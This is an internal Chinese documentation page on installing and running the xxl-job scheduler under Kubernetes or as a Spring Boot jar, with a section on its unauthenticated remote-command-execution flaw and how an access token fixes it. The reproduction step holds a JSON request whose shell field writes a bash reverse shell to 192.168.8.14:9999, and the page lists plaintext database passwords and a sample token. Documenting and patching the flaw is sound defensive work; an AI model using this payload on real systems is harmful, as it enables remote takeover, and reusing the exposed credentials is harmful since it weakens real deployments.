基础框架-文档中心基础框架-文档中心
使用指南
公共组件
开发测试
  • 微服务框架
  • Vue3框架
  • 项目实践
更新日志
  • V3.3.0
  • V3.2.6
  • V3.2.5
  • V3.2.4
  • V3.1.0
  • V2.2.x
  • V2.1.0
  • V2.0.0
  • V1.2.1
  • V1.1.1
使用指南
公共组件
开发测试
  • 微服务框架
  • Vue3框架
  • 项目实践
更新日志
  • V3.3.0
  • V3.2.6
  • V3.2.5
  • V3.2.4
  • V3.1.0
  • V2.2.x
  • V2.1.0
  • V2.0.0
  • V1.2.1
  • V1.1.1
  • 后端组件

    • waf-license-产品证书授权
    • waf-calcite-动态数据管理
    • 消息中心组件
    • 调度任务组件
    • xxl-job 安装使用
    • API服务
    • 全文检索
  • 前端组件

    • 分页组件
    • 数据字典组件
    • 业务字典组件
    • 人员选择组件
    • 组织机构选择组件
    • 文件上传组件
    • 第三方应用集成

xxl-job 安装使用

1、前期准备

  • 准备mysql数据为 5.7+
  • 初始化脚本,可修改数据库名,表名请勿修改(除非深度定制,自行修改源码)

2、基于rancher k8s部署

选择自己的项目—> 部署服务

名称:xxl-job-admin (自己随意写)

Docker镜像:172.16.102.2:5000/library/xxl-job-admin:2.2.0

命名空间:waf (选择自己项目的命名空间)

1600670253929

容器端口:8300

网络模式:集群IP(测试使用也可以使用NodePort方式)

环境变量:

spring.datasource.url=jdbc:mysql://waf-mysql:3306/waf-job?Unicode=true&characterEncoding=UTF-8 (数据库改为自己创建的服务名、数据库名) spring.datasource.username=root (不一定要root账号,只要有权限操作创建的job库即可) spring.datasource.password=Wiseda@123456 (根据自己设置的填写,密码也可以使用configmap或secrect)

1600671294128

添加ingress,参照如下设置(注意选择自己的命名空间)

1600670629831

测试访问

1600670806787

xxl-job首页

1600670845864

3、基于springboot jar启动

  • 源码clone 编译
git clone http://git.spm.wiseda.com.cn:2080/app/job/xxl-job.git

编译建议进行maven私服配置,因私服上已经下载的所需的jar包依赖,构建会比较快

  • 修改xxl-job-admin/src/main/resources/application.properties文件
# 修改数据连接基本上就可以了,其他的参数根据自己需要去修改(如不修改也可以启动通过环境变量传入)
spring.datasource.url=jdbc:mysql://metric-mysql:3306/metric_job?Unicode=true&characterEncoding=UTF-8
spring.datasource.username=root
spring.datasource.password=RepYoLDbBr
  • xxl-job-admin打包

直接通过IDEA进行打包即可,如果采用命令的方式执行mvn clean package

1600672169981

  • java -jar xxl-job-admin-2.2.0.jar (启动应用)

启动成功后默认通过: http://localhost:8300/xxl-job-admin 访问,(如修改了端口或context-path请自己修改访问地址)

1600672419290

  • linux shell脚本参考(根据项目情况自行优化)
# 创建启动脚本start.sh
cat << EOF > start.sh
nohup java -jar xxl-job-admin-2.2.0.jar >xxl-job-admin.log &
EOF

#给start.sh脚本添加执行权限
chmod +x start.sh 

# 创建停止脚本stop.sh
vi stop.sh

# 复制下面这行(注意如果端口修改了,自行修改8300对应的端口)
kill -9 $(netstat -nlp | grep :8300 | awk '{print $7}' | awk -F"/" '{ print $1 }')

#给stop.sh脚本添加执行权限
chmod +x stop.sh 

4、xxl-job远程命令执行漏洞(反弹shell)

漏洞复现地址:https://blog.csdn.net/guo15890025019/article/details/121945200

主要原因是默认配置下xxl.job.accessToken值为空,不需要任何授权信息即可以进行连接,另一个是管理端使用了默认用户密码admin/123456进行了GLUE_SHELL的配置。

4.1、传统打包部署解决方案

  • 1、配置xxl.job.accessToken 的值,不要太简单了(xxl-job-admin配置后,连接的执行器也需要进行配置)
  • 2、将xxl-job-admin管理端默认用户密码修改为强密码

xxl.job.accessToken配置为环境变量,避免值固定

1651914525872

执行器中的config可以通过application.yaml进行属性定义,一样定义成环境变量

配置参考:xxl.job.admin.accessToken:${XXL_ACCESSTOKEN:9(QpGim8E6b8@Dy}

1651914549307

4.2 k8s/docker部署

  • 2.2版本 :镜像更新为:172.16.102.2:5000/library/xxl-job-admin:2.2.1
  • 2.3版本 :镜像更新为:172.16.102.2:5000/library/xxl-job-admin:2.3.1
  • 2.1版本 :因使用频率较低,暂不提供镜像版本,请升级到2.2或2.3,或直接使用application.properties定义的参数 xxl.job.accessToken做为环境变更的key

使用自定义参数,docker镜像版本需更新到xxl-job-admin:2.2.1、xxl-job-admin:2.3.1

# 注意token值保持一致
# xxl-job-admin环境变量配置
JOB_ACCESSTOKEN:9(QpGim8E6b8@Dy

# job执行器环境变量配置
XXL_ACCESSTOKEN:9(QpGim8E6b8@Dy

使用application.properties参数,需要对应各属性定义的key

# application.properties参数(其他参数也可以通过这种方式配置,只是key会比较长)

# 访问token设置
xxl.job.accessToken:9(QpGim8E6b8@Dy

4.3 漏洞复现

这里复现为token被知晓,所以在配置的token一定要保密,不然一样可以调用。

如:token设置为123456,这里只需要添加XXL-JOB-ACCESS-TOKEN到header中

// 测试脚本
{
  "jobId": 1,
  "executorHandler": "demoJobHandler",
  "executorParams": "demoJobHandler",
  "executorBlockStrategy": "COVER_EARLY",
  "executorTimeout": 0,
  "logId": 1,
  "logDateTime": 1586629003729,
  "glueType": "GLUE_SHELL",
  "glueSource": "echo 'bash -i >& /dev/tcp/192.168.8.14/9999 0>&1' > /tmp/1.sh",
  "glueUpdatetime": 1586699003758,
  "broadcastIndex": 0,
  "broadcastTotal": 0
}

通过BurpSuite进行测试,下载地址:https://portswigger.net/burp/releases ,个人测试下载社区版即可。

1651915443243

一样执行成功

1651915463185

在设置token后,该用不会被执行,会提示token错误的异常。

1651915483149

上次更新: 12/9/22, 8:51 AM
编辑者: 李贤伟
Prev
调度任务组件
Next
API服务